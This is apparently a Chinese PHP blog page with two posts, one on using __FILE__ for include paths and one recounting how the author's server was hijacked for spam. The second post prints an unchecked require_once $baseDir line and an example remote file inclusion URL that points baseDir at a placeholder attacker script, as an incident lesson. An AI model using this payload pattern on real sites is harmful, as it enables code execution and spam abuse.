2007年05月2日
2006年11月6日
善用__FILE__讓inlucde的libs更靈活..
一般來說,我們在架構一個網站的時候都會希望把 lib 固定在一個目錄之下,而通常為了分類,會規劃更多的目錄在這個目錄中。
通常來說結構會類似這樣...
這時候問題來了,若是我們在 libs 裡面的 檔案需要 require or include 另外的 libs 檔案的話,通常會需要直接給他絕對位置。
但是給絕對位置的話會由於網站可能在不同主機上得目錄不同需要修改。
這時候我會建議兩種作法。
第一種:建立一個 config.inc.php ,內含一個 Document_root 的常數設定,而設定的位置就是 網站的跟目錄的絕對位置。
這時候你只要在各個 include 的時候,使用
缺點就是每次若是 config.inc.php 中的設定跟實際環境不同的時候會有問題.
第二種的方式就是用系統常數 __FILE__
__FILE__的常數會自動產生,內容是目前檔案的絕對路徑。若是被 Include 的檔案會產生的是位置,而不是 include 檔案的位置。
這樣我就可以這樣用,例如在 init.php 一律都是放在 libs 目錄下,而由其他任何一個檔案去 require ...
當然,你也可以直接把 __FILE__ 用在 config.inc.php 中.
...繼續閱讀
通常來說結構會類似這樣...
| 代碼: |
| /libs
/adodb /adodb.inc.php /smarty /libs /member /init.php /template.php /modules /members /post |
這時候問題來了,若是我們在 libs 裡面的 檔案需要 require or include 另外的 libs 檔案的話,通常會需要直接給他絕對位置。
但是給絕對位置的話會由於網站可能在不同主機上得目錄不同需要修改。
這時候我會建議兩種作法。
第一種:建立一個 config.inc.php ,內含一個 Document_root 的常數設定,而設定的位置就是 網站的跟目錄的絕對位置。
這時候你只要在各個 include 的時候,使用
| 代碼: |
| include_once(Document_root."libs/init.php");
require_once(Document_root."libs/smarty/ilbs/smarty.inc.php"); |
缺點就是每次若是 config.inc.php 中的設定跟實際環境不同的時候會有問題.
第二種的方式就是用系統常數 __FILE__
__FILE__的常數會自動產生,內容是目前檔案的絕對路徑。若是被 Include 的檔案會產生的是位置,而不是 include 檔案的位置。
這樣我就可以這樣用,例如在 init.php 一律都是放在 libs 目錄下,而由其他任何一個檔案去 require ...
| 代碼: |
| include_onre(dirname(__FILE__)."smarty/libs/class.smarty.php");
include_onre(dirname(__FILE__)."adodb/adodb.inc.php"); |
當然,你也可以直接把 __FILE__ 用在 config.inc.php 中.
| 代碼: |
| define('Document_root',dirname(__FILE__)); |
2006年02月20日
Register_global 的危險!
前兩天由於自己家中的主機怪怪得,所以做了一些檢查,赫然發現一堆不知道從那出來的 Email 再寄送,當下嚇到怕變成 SPAM 的木馬!∼
詳細檢查後發現主要是由 Register_global 開啟加上 require_once 沒有確認路徑變數的關係,導致被 spam 在 /tmp 下塞入了一個 script 自動發信!
該段語法如下 (xxxx.inc.php):
require_once $baseDir."include_once/adodb....";
主要就是在於沒有檢查 $baseDir 的位置與內容,且開啟了 register_global 的關係,所以可以直接採用:
http://xxxx.xxxx.xxxx/include_base/init_database.php?baseDir=http://xxxx.xx.xxx/hackerScript.txt; .....等。
原來 include_base 應該是給 /index.php 來 include 後使用的,而非給 client 存取的,所以讓使用者可以直接存取造成了安全上得隱憂。
另外 $baseDir 又容由另外一個檔案進行設定,所以 init_database.php 並沒有檢查該變數的內容。
基本上這種問題若是有關閉 register_global 就不會發生囉,不過由於原來的系統上有一些程式需求要 register_global = on 才能使用,所以才會這樣設定。
剛剛查過網路上,相類似的情況可以在預設 php.ini 為 register_global = off ,而在 .htaccess 設定 PHPINI 來改變特定目錄下的特性。
anyway,現在把東西重新調整過也把被偷發的垃圾信都刪掉了,希望以後不會再次發生這樣的問題了。
詳細檢查後發現主要是由 Register_global 開啟加上 require_once 沒有確認路徑變數的關係,導致被 spam 在 /tmp 下塞入了一個 script 自動發信!
該段語法如下 (xxxx.inc.php):
require_once $baseDir."include_once/adodb....";
主要就是在於沒有檢查 $baseDir 的位置與內容,且開啟了 register_global 的關係,所以可以直接採用:
http://xxxx.xxxx.xxxx/include_base/init_database.php?baseDir=http://xxxx.xx.xxx/hackerScript.txt; .....等。
原來 include_base 應該是給 /index.php 來 include 後使用的,而非給 client 存取的,所以讓使用者可以直接存取造成了安全上得隱憂。
另外 $baseDir 又容由另外一個檔案進行設定,所以 init_database.php 並沒有檢查該變數的內容。
基本上這種問題若是有關閉 register_global 就不會發生囉,不過由於原來的系統上有一些程式需求要 register_global = on 才能使用,所以才會這樣設定。
剛剛查過網路上,相類似的情況可以在預設 php.ini 為 register_global = off ,而在 .htaccess 設定 PHPINI 來改變特定目錄下的特性。
anyway,現在把東西重新調整過也把被偷發的垃圾信都刪掉了,希望以後不會再次發生這樣的問題了。